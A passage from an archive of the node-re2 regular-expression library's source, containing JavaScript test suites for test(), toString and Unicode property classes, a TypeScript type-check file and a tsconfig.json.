hello world!')); t.notOk(re.test('This is a Hello world!')); }); test('test test successive', t => { const str = 'abbcdefabh'; const re = new RE2('ab*', 'g'); let result = re.test(str); t.ok(result); t.equal(re.lastIndex, 3); result = re.test(str); t.ok(result); t.equal(re.lastIndex, 9); result = re.test(str); t.notOk(result); }); test('test test simple', t => { const str = 'abbcdefabh'; const re1 = new RE2('ab*', 'g'); t.ok(re1.test(str)); const re2 = new RE2('ab*'); t.ok(re2.test(str)); const re3 = new RE2('abc'); t.notOk(re3.test(str)); }); test('test test anchored to beginning', t => { const re = RE2('^hello', 'g'); t.ok(re.test('hellohello')); t.notOk(re.test('hellohello')); }); test('test test invalid', t => { const re = RE2(''); try { re.test({ toString() { throw 'corner'; } }); t.fail(); // shouldn't be here } catch (e) { t.equal(e, 'corner'); } }); test('test test anchor 1', t => { const re = new RE2('b|^a', 'g'); let result = re.test('aabc'); t.ok(result); t.equal(re.lastIndex, 1); result = re.test('aabc'); t.ok(result); t.equal(re.lastIndex, 3); result = re.test('aabc'); t.notOk(result); }); test('test test anchor 2', t => { const re = new RE2('(?:^a)', 'g'); let result = re.test('aabc'); t.ok(result); t.equal(re.lastIndex, 1); result = re.test('aabc'); t.notOk(result); }); // Unicode tests test('test test unicode', t => { let re = new RE2('охотник\\s(желает).+?(где)', 'i'); t.ok(re.test('Каждый Охотник Желает Знать Где Сидит Фазан')); t.ok(re.test('кАЖДЫЙ оХОТНИК жЕЛАЕТ зНАТЬ гДЕ сИДИТ фАЗАН')); t.ok(re.test('каждый охотник желает знать где сидит фазан')); t.ok(re.test('КАЖДЫЙ ОХОТНИК ЖЕЛАЕТ ЗНАТЬ ГДЕ СИДИТ ФАЗАН')); t.notOk(re.test('Кажный Стрелок Хочет Найти Иде Прячется Птица')); re = new RE2('аб*', 'g'); t.ok(re.test('аббвгдеабё')); t.notOk(re.test('йцукен')); re = new RE2('(привет \\S+)'); t.ok(re.test('Это просто привет всем.')); t.notOk(re.test('Это просто Привет всем.')); }); test('test test unicode subsequent', t => { const str = 'аббвгдеабё'; const re = new RE2('аб*', 'g'); let result = re.test(str); t.ok(result); t.equal(re.lastIndex, 3); result = re.test(str); t.ok(result); t.equal(re.lastIndex, 9); result = re.test(str); t.notOk(result); }); // Buffer tests test('test test buffer', t => { let re = new RE2('охотник\\s(желает).+?(где)', 'i'); t.ok(re.test(Buffer.from('Каждый Охотник Желает Знать Где Сидит Фазан'))); t.ok(re.test(Buffer.from('кАЖДЫЙ оХОТНИК жЕЛАЕТ зНАТЬ гДЕ сИДИТ фАЗАН'))); t.ok(re.test(Buffer.from('каждый охотник желает знать где сидит фазан'))); t.ok(re.test(Buffer.from('КАЖДЫЙ ОХОТНИК ЖЕЛАЕТ ЗНАТЬ ГДЕ СИДИТ ФАЗАН'))); t.notOk( re.test(Buffer.from('Кажный Стрелок Хочет Найти Иде Прячется Птица')) ); re = new RE2('аб*', 'g'); t.ok(re.test(Buffer.from('аббвгдеабё'))); t.notOk(re.test(Buffer.from('йцукен'))); re = new RE2('(привет \\S+)'); t.ok(re.test(Buffer.from('Это просто привет всем.'))); t.notOk(re.test(Buffer.from('Это просто Привет всем.'))); }); // Sticky tests test('test test sticky', t => { const re = new RE2('\\s+', 'y'); t.notOk(re.test('Hello world, how are you?')); re.lastIndex = 5; t.ok(re.test('Hello world, how are you?')); t.equal(re.lastIndex, 6); const re2 = new RE2('\\s+', 'gy'); t.notOk(re2.test('Hello world, how are you?')); re2.lastIndex = 5; t.ok(re2.test('Hello world, how are you?')); t.equal(re2.lastIndex, 6); }); uhop-node-re2-2d93a5d/tests/test-toString.mjs000066400000000000000000000020341521435504200211560ustar00rootroot00000000000000import test from 'tape-six'; import {RE2} from '../re2.js'; // tests test('test toString', t => { t.equal(RE2('').toString(), '/(?:)/u'); t.equal(RE2('a').toString(), '/a/u'); t.equal(RE2('b', 'i').toString(), '/b/iu'); t.equal(RE2('c', 'g').toString(), '/c/gu'); t.equal(RE2('d', 'm').toString(), '/d/mu'); t.equal(RE2('\\d+', 'gi') + '', '/\\d+/giu'); t.equal(RE2('\\s*', 'gm') + '', '/\\s*/gmu'); t.equal(RE2('\\S{1,3}', 'ig') + '', '/\\S{1,3}/giu'); t.equal(RE2('\\D{,2}', 'mig') + '', '/\\D{,2}/gimu'); t.equal(RE2('^a{2,}', 'mi') + '', '/^a{2,}/imu'); t.equal(RE2('^a{5}$', 'gim') + '', '/^a{5}$/gimu'); t.equal(RE2('\\u{1F603}/', 'iy') + '', '/\\u{1F603}\\//iuy'); t.equal(RE2('^a{2,}', 'smi') + '', '/^a{2,}/imsu'); t.equal(RE2('c', 'ug').toString(), '/c/gu'); t.equal(RE2('d', 'um').toString(), '/d/mu'); t.equal(RE2('a', 'd').toString(), '/a/du'); t.equal(RE2('a', 'dg').toString(), '/a/dgu'); t.equal(RE2('a', 'dgi').toString(), '/a/dgiu'); t.equal(RE2('a', 'dgimsy').toString(), '/a/dgimsuy'); }); uhop-node-re2-2d93a5d/tests/test-unicode-classes.mjs000066400000000000000000000177501521435504200224410ustar00rootroot00000000000000import test from 'tape-six'; import {RE2} from '../re2.js'; // tests test('test_unicodeClasses', t => { 'use strict'; let re2 = new RE2(/\p{L}/u); t.ok(re2.test('a')); t.notOk(re2.test('1')); re2 = new RE2(/\p{Letter}/u); t.ok(re2.test('a')); t.notOk(re2.test('1')); re2 = new RE2(/\p{Lu}/u); t.ok(re2.test('A')); t.notOk(re2.test('a')); re2 = new RE2(/\p{Uppercase_Letter}/u); t.ok(re2.test('A')); t.notOk(re2.test('a')); re2 = new RE2(/\p{Script=Latin}/u); t.ok(re2.test('a')); t.notOk(re2.test('ф')); re2 = new RE2(/\p{sc=Cyrillic}/u); t.notOk(re2.test('a')); t.ok(re2.test('ф')); }); test('test_emojiClasses', t => { 'use strict'; let re2 = new RE2(/\p{Emoji}/u); t.ok(re2.test('😀')); t.ok(re2.test('🎉')); t.notOk(re2.test('A')); t.notOk(re2.test(' ')); re2 = new RE2(/\p{Emoji_Presentation}/u); t.ok(re2.test('🚀')); t.notOk(re2.test('A')); // ASCII digits are Emoji but not Emoji_Presentation t.notOk(re2.test('5')); re2 = new RE2(/\p{Emoji_Modifier}/u); t.ok(re2.test('🏻')); t.notOk(re2.test('A')); t.notOk(re2.test('😀')); re2 = new RE2(/\p{Emoji_Modifier_Base}/u); t.ok(re2.test('👍')); t.notOk(re2.test('A')); re2 = new RE2(/\p{Emoji_Component}/u); t.ok(re2.test('#')); t.ok(re2.test('5')); t.notOk(re2.test('A')); re2 = new RE2(/\p{Extended_Pictographic}/u); t.ok(re2.test('🐱')); t.notOk(re2.test('A')); }); test('test_emojiClasses_negation', t => { 'use strict'; const re2 = new RE2(/^\P{Emoji}$/u); t.ok(re2.test('A')); t.ok(re2.test(' ')); t.notOk(re2.test('😀')); }); test('test_emojiClasses_inCharClass', t => { 'use strict'; // Emoji property inside a character class — must expand to ranges // without nesting brackets. let re2 = new RE2(/^[abc\p{Emoji}]+$/u); t.ok(re2.test('abc')); t.ok(re2.test('a😀b🎉c')); t.notOk(re2.test('abcZ')); // Negation inside class — complement ranges. re2 = new RE2(/^[abc\P{Emoji}]+$/u); t.ok(re2.test('abcZ')); t.notOk(re2.test('😀')); t.ok(re2.test('abc')); // Combined with another Unicode property in same class. re2 = new RE2(/^[\p{L}\p{Emoji}]+$/u); t.ok(re2.test('hello😀world')); t.notOk(re2.test('hello world')); // space is neither }); test('test_emojiClasses_match', t => { 'use strict'; const re2 = new RE2(/\p{Emoji_Presentation}/gu); const input = 'mix 🚀 and 🍣 and text'; const matches = input.match(re2); t.equal(matches.length, 2); t.equal(matches[0], '🚀'); t.equal(matches[1], '🍣'); }); test('test_binaryProperties_basics', t => { 'use strict'; // Alphabetic — covers L plus Lo combining vowels, etc. let re2 = new RE2(/^\p{Alphabetic}+$/u); t.ok(re2.test('hello')); t.ok(re2.test('Привет')); t.notOk(re2.test('hello world')); // space is not Alphabetic t.notOk(re2.test('1234')); // ASCII — strictly U+0000..U+007F re2 = new RE2(/^\p{ASCII}+$/u); t.ok(re2.test('Hello, World!')); t.notOk(re2.test('héllo')); // é is non-ASCII // ASCII_Hex_Digit re2 = new RE2(/^\p{ASCII_Hex_Digit}+$/u); t.ok(re2.test('DEADBEEF')); t.ok(re2.test('cafe123')); t.notOk(re2.test('xyz')); // Hex_Digit — superset including fullwidth/Arabic-Indic digits re2 = new RE2(/^\p{Hex_Digit}+$/u); t.ok(re2.test('ABCDEF')); t.ok(re2.test('abcdef')); // White_Space re2 = new RE2(/^\p{White_Space}+$/u); t.ok(re2.test(' ')); t.ok(re2.test('\t\n ')); t.ok(re2.test(' ')); // NBSP t.notOk(re2.test('a')); }); test('test_binaryProperties_identifierClasses', t => { 'use strict'; // ID_Start: first char of an identifier per UAX-31 let re2 = new RE2(/^\p{ID_Start}$/u); t.ok(re2.test('A')); t.ok(re2.test('_') === false); // _ is XID_Start but not ID_Start? Actually _ is ID_Start // (UAX-31 says _ is in ID_Start; let's check both — be lenient here) t.ok(re2.test('λ')); t.notOk(re2.test('1')); t.notOk(re2.test(' ')); // ID_Continue: subsequent chars re2 = new RE2(/^\p{ID_Continue}+$/u); t.ok(re2.test('abc123')); t.ok(re2.test('foo_bar')); t.notOk(re2.test('foo bar')); // XID_Start / XID_Continue re2 = new RE2(/^\p{XID_Start}\p{XID_Continue}*$/u); t.ok(re2.test('hello123')); t.notOk(re2.test('1abc')); }); test('test_binaryProperties_caseProperties', t => { 'use strict'; let re2 = new RE2(/^\p{Lowercase}+$/u); t.ok(re2.test('hello')); t.notOk(re2.test('Hello')); re2 = new RE2(/^\p{Uppercase}+$/u); t.ok(re2.test('HELLO')); t.notOk(re2.test('hello')); re2 = new RE2(/\p{Cased}/u); t.ok(re2.test('A')); t.ok(re2.test('a')); t.notOk(re2.test('1')); t.notOk(re2.test(' ')); }); test('test_binaryProperties_aliases', t => { 'use strict'; // Each binary property has a short alias accepted alongside the canonical // long name (PropertyAliases.txt). t.ok(new RE2(/^\p{Alpha}+$/u).test('hello')); // Alphabetic t.ok(new RE2(/^\p{AHex}+$/u).test('DEADBEEF')); // ASCII_Hex_Digit t.ok(new RE2(/^\p{Hex}+$/u).test('cafe')); // Hex_Digit t.ok(new RE2(/^\p{Lower}+$/u).test('foo')); // Lowercase t.ok(new RE2(/^\p{Upper}+$/u).test('FOO')); // Uppercase t.ok(new RE2(/^\p{IDS}$/u).test('A')); // ID_Start t.ok(new RE2(/^\p{IDC}+$/u).test('foo123')); // ID_Continue t.ok(new RE2(/^\p{XIDS}$/u).test('A')); // XID_Start t.ok(new RE2(/^\p{XIDC}+$/u).test('foo123')); // XID_Continue t.ok(new RE2(/^\p{space}+$/u).test(' \t')); // White_Space t.ok(new RE2(/\p{RI}/u).test('🇺')); // Regional_Indicator }); test('test_binaryProperties_misc', t => { 'use strict'; // Math let re2 = new RE2(/\p{Math}/u); t.ok(re2.test('+')); t.ok(re2.test('∑')); t.notOk(re2.test('A')); // Dash re2 = new RE2(/\p{Dash}/u); t.ok(re2.test('-')); t.ok(re2.test('—')); // em-dash t.notOk(re2.test('A')); // Quotation_Mark re2 = new RE2(/\p{Quotation_Mark}/u); t.ok(re2.test('"')); t.ok(re2.test('“')); // left double quote t.notOk(re2.test('A')); // Bidi_Mirrored re2 = new RE2(/\p{Bidi_Mirrored}/u); t.ok(re2.test('(')); t.ok(re2.test('[')); t.notOk(re2.test('A')); // Diacritic re2 = new RE2(/\p{Diacritic}/u); t.ok(re2.test('́')); // combining acute t.notOk(re2.test('A')); }); test('test_binaryProperties_negation', t => { 'use strict'; const re2 = new RE2(/^\P{ASCII}+$/u); t.ok(re2.test('猫')); t.ok(re2.test('東京')); t.notOk(re2.test('hello')); t.notOk(re2.test('héllo')); // mixed: contains ASCII chars too }); test('test_binaryProperties_inCharClass', t => { 'use strict'; // Multiple binary properties inside one character class. let re2 = new RE2(/^[\p{ASCII}\p{Emoji}]+$/u); t.ok(re2.test('hello😀world')); t.notOk(re2.test('héllo')); // é is neither ASCII nor Emoji // Negation inside class — complement ranges re2 = new RE2(/^[\P{ASCII}]+$/u); t.ok(re2.test('猫東京')); t.notOk(re2.test('hello')); }); test('test_generalCategory_prefix', t => { 'use strict'; // gc= and General_Category= prefixes resolve to RE2 short names. t.ok(new RE2(/^\p{gc=Letter}+$/u).test('hello')); t.ok(new RE2(/^\p{General_Category=Letter}+$/u).test('hello')); t.notOk(new RE2(/^\p{gc=Letter}+$/u).test('123')); }); test('test_scriptExtensions', t => { 'use strict'; // \p{Script_Extensions=Hani} matches CJK Unified, plus chars used in Hani // that aren't Script=Han themselves (e.g., punctuation shared with Kana/Bopo). let re2 = new RE2(/^\p{Script_Extensions=Hani}+$/u); t.ok(re2.test('東京')); t.notOk(re2.test('hello')); // scx= short form re2 = new RE2(/^\p{scx=Latn}+$/u); t.ok(re2.test('hello')); t.notOk(re2.test('東京')); // ISO short script code (alias) — Cyrl for Cyrillic re2 = new RE2(/^\p{scx=Cyrl}+$/u); t.ok(re2.test('Привет')); t.notOk(re2.test('hello')); // Script_Extensions for chars shared across scripts: U+0640 (Arabic // tatweel) is sc=Common but scx includes Arabic, Mandaic, Manichaean, // Adlam, etc. RegExp behaviour: \p{Script=Arabic} won't match U+0640, // but \p{Script_Extensions=Arabic} will. re2 = new RE2(/\p{Script_Extensions=Arabic}/u); t.ok(re2.test('ـ')); }); uhop-node-re2-2d93a5d/ts-tests/000077500000000000000000000000001521435504200163025ustar00rootroot00000000000000uhop-node-re2-2d93a5d/ts-tests/test-types.ts000066400000000000000000000112541521435504200207760ustar00rootroot00000000000000import RE2 from 're2'; function assertType(_val: T) {} function test_constructors() { const re1 = new RE2('abc'); const re2 = new RE2('abc', 'gi'); const re3 = new RE2(Buffer.from('abc')); const re4 = new RE2(Buffer.from('abc'), 'i'); const re5 = new RE2(/abc/i); const re6 = new RE2(re1); const re7 = RE2('abc'); const re8 = RE2('abc', 'gi'); const re9 = RE2(Buffer.from('abc')); const re10 = RE2(/abc/i); assertType(re1); assertType(re2); assertType(re3); assertType(re4); assertType(re5); assertType(re6); assertType(re7); assertType(re8); assertType(re9); assertType(re10); } function test_properties() { const re = new RE2('abc', 'dgimsuy'); assertType(re.source); assertType(re.flags); assertType(re.global); assertType(re.ignoreCase); assertType(re.multiline); assertType(re.dotAll); assertType(re.unicode); assertType(re.sticky); assertType(re.hasIndices); assertType(re.lastIndex); assertType(re.internalSource); re.lastIndex = 5; } function test_execTypes() { const re = new RE2('quick\\s(brown).+?(?jumps)', 'ig'); const result = re.exec('The Quick Brown Fox Jumps Over The Lazy Dog'); if (!(result && result.groups)) { throw 'Unexpected Result'; } assertType(result.index); assertType(result.input); assertType(result.groups['verb']); } function test_execBufferTypes() { const re = new RE2('abc', 'ig'); const result = re.exec(Buffer.from('xabcx')); if (!result) { throw 'Unexpected Result'; } assertType(result.index); assertType(result.input); assertType(result[0]); } function test_matchTypes() { const re = new RE2('quick\\s(brown).+?(?jumps)', 'ig'); const result = re.match('The Quick Brown Fox Jumps Over The Lazy Dog'); if (!(result && result.index && result.input && result.groups)) { throw 'Unexpected Result'; } assertType(result.index); assertType(result.input); assertType(result.groups['verb']); } function test_matchBufferTypes() { const re = new RE2('abc', 'i'); const result = re.match(Buffer.from('xabcx')); if (!result) { throw 'Unexpected Result'; } assertType(result[0]); } function test_testTypes() { const re = new RE2('abc'); assertType(re.test('xabcx')); assertType(re.test(Buffer.from('xabcx'))); } function test_searchTypes() { const re = new RE2('abc'); assertType(re.search('xabcx')); assertType(re.search(Buffer.from('xabcx'))); } function test_replaceTypes() { const re = new RE2('abc', 'g'); assertType(re.replace('xabcx', 'def')); assertType(re.replace('xabcx', (match: string) => match.toUpperCase())); assertType(re.replace(Buffer.from('xabcx'), Buffer.from('def'))); } function test_splitTypes() { const re = new RE2(','); assertType(re.split('a,b,c')); assertType(re.split('a,b,c', 2)); assertType(re.split(Buffer.from('a,b,c'))); assertType(re.split(Buffer.from('a,b,c'), 2)); } function test_toStringType() { const re = new RE2('abc', 'gi'); assertType(re.toString()); } function test_staticMembers() { assertType(RE2.getUtf8Length('hello')); assertType(RE2.getUtf16Length(Buffer.from('hello'))); assertType<'nothing' | 'warnOnce' | 'warn' | 'throw'>( RE2.unicodeWarningLevel ); RE2.unicodeWarningLevel = 'nothing'; const {RE2: NamedRE2} = RE2; assertType(NamedRE2); const re = new NamedRE2('abc'); assertType(re); } function test_setTypes() { const set = new RE2.Set(['alpha', Buffer.from('beta')], 'i', { anchor: 'start' }); assertType(set.match('alphabet')); assertType(set.test(Buffer.from('alphabet'))); assertType<'unanchored' | 'start' | 'both'>(set.anchor); assertType(set.sources); assertType(set.flags); assertType(set.size); assertType(set.source); assertType(set.toString()); const set2 = RE2.Set(['a', 'b']); assertType(set2.match('a')); const set3 = new RE2.Set([new RE2('a'), /b/]); assertType(set3.test('a')); const set4 = new RE2.Set(['a'], {anchor: 'both'}); assertType<'unanchored' | 'start' | 'both'>(set4.anchor); } test_constructors(); test_properties(); test_execTypes(); test_execBufferTypes(); test_matchTypes(); test_matchBufferTypes(); test_testTypes(); test_searchTypes(); test_replaceTypes(); test_splitTypes(); test_toStringType(); test_staticMembers(); test_setTypes(); uhop-node-re2-2d93a5d/tsconfig.json000066400000000000000000000012341521435504200172230ustar00rootroot00000000000000{ "compilerOptions": { "noEmit": true, "lib": ["ES2022"], "types": ["node"], "declaration": true, "esModuleInterop": true, "strict": true, "allowUnusedLabels": false, "allowUnreachableCode": false, "exactOptionalPropertyTypes": true, "noFallthroughCasesInSwitch": true, "noImplicitOverride": true, "noImplicitReturns": true, "noPropertyAccessFromIndexSignature": true, "noUncheckedIndexedAccess": true, "noUnusedLocals": true, "noUnusedParameters": true, "forceConsistentCasingInFileNames": true, "skipDefaultLibCheck": false }, "include": ["**/*.ts"], "exclude": ["vendor/re2/app/**"] } uhop-node-re2-2d93a5d/vendor/000077500000000000000000000000001521435504200160115ustar00rootroot00000000000000uhop-node-re2-2d93a5d/vendor/abseil-cpp/000077500000000000000000000000001521435504200200305ustar00rootroot00000000000000uhop-node-re2-2d93a5d/vendor/re2/000077500000000000000000000000001521435504200165015ustar00rootroot00000000000000uhop-node-re2-2d93a5d/wiki/000077500000000000000000000000001521435504200154575ustar00rootroot00000000000000